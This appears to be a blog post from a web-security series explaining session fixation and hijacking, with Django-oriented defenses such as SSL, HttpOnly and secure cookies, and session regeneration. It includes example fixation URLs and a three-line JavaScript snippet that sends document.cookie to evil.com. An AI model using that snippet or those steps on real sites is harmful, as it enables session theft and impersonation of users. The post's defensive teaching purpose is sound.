Session Fixation and Hijacking - Basic Security Part 6

NB: This is the sixth post in a series of posts on web application security.

  1. Don’t put session IDs in the URL. Django explicitly does not support this because it’s just dangerous.
  2. Use SSL and secure cookies.
  3. Use HttpOnly cookies.

Is it really that easy? Yes and no. But start there and you’ve already gone a really long way.

Session fixation and session hijacking are both attempts to gain access to a system as another user, hopefully a privileged one (though with some systems, where money is involved, privilege doesn’t necessarily even matter).

In session fixation, using a session ID in the URL, I try to cause a target to log in with a predictable session ID, then reuse that ID myself:

  1. Send target to http://unsafe/?PHPSESSID=mysession, they log in.
  2. Go to http://unsafe/?PHPSESSID=mysession: congrats! You look like the same user.

Or the other way, you can cause a user to act like you, and, say, enter their credit card information onto your account.

  1. Login to http://unsafe/?PHPSESSID=mysession.
  2. Send other user to http://unsafe/payment_methods?PHPSESSID=mysession, and they look like you!

There are other, better mitigations, like tying sessions to IP addresses (though that can be spoofed) and giving them short timeouts (though that runs against best practices for user experience, stay tuned). But first and foremost, don’t put session IDs in URLs.

There are more complicated vectors for fixation, too. Fortunately most browsers won’t let you do the easy things and the other OWASP examples rely on an existing XSS vulerability, which hopefully you’ve taken care of.

Among other things, you can regenerate a session ID when someone logs in, and should, if your framework and language supports it. (Django does this automatically if you use the built-in authentication tools.)

Then we get to the crossroads of fixation and hijacking. One other route to fix someone’s session cookie identifier is to use a Man-in-the-Middle attack to change the Set-Cookie header (useful for the latter case, above, getting someone to act like you).

How to address this? Use SSL.

Use SSL because it’s your best defense against a tool like Firesheep. It’s not perfect, it can be MITMed, but this is about locking your car doors. Login form submissions and session cookies should go over SSL. Certs are cheap, both in price and computation time, just do it.

Finally, make sure your cookies have the secure and HttpOnly flags, especially the session cookie. Django
supports this now so just use the built-in support. (Django defaults to HttpOnly.)

Why? Say someone finds a hole to execute some JS on your site, and if your session cookies aren’t HttpOnly (in fact, every cookie that can be, should be), they could execute this:

var i = new Image();
i.src = 'http://evil.com/record?' + document.cookie;
body.appendChild(i);

Grabbing every cookie, but especially the session ID, and impersonating a poor, well-intentioned user.

Finally, make sure to destroy session data at logout, or at least mark the session ID as invalid (and thus not let anyone use it) and clean it up later.

What else?

I can’t shake the feeling I’m forgetting something important on this one, so use the comments and let me and everyone else know about the other vectors and mitigations. And check out Chris Shiflett’s post on the same topic for more insight.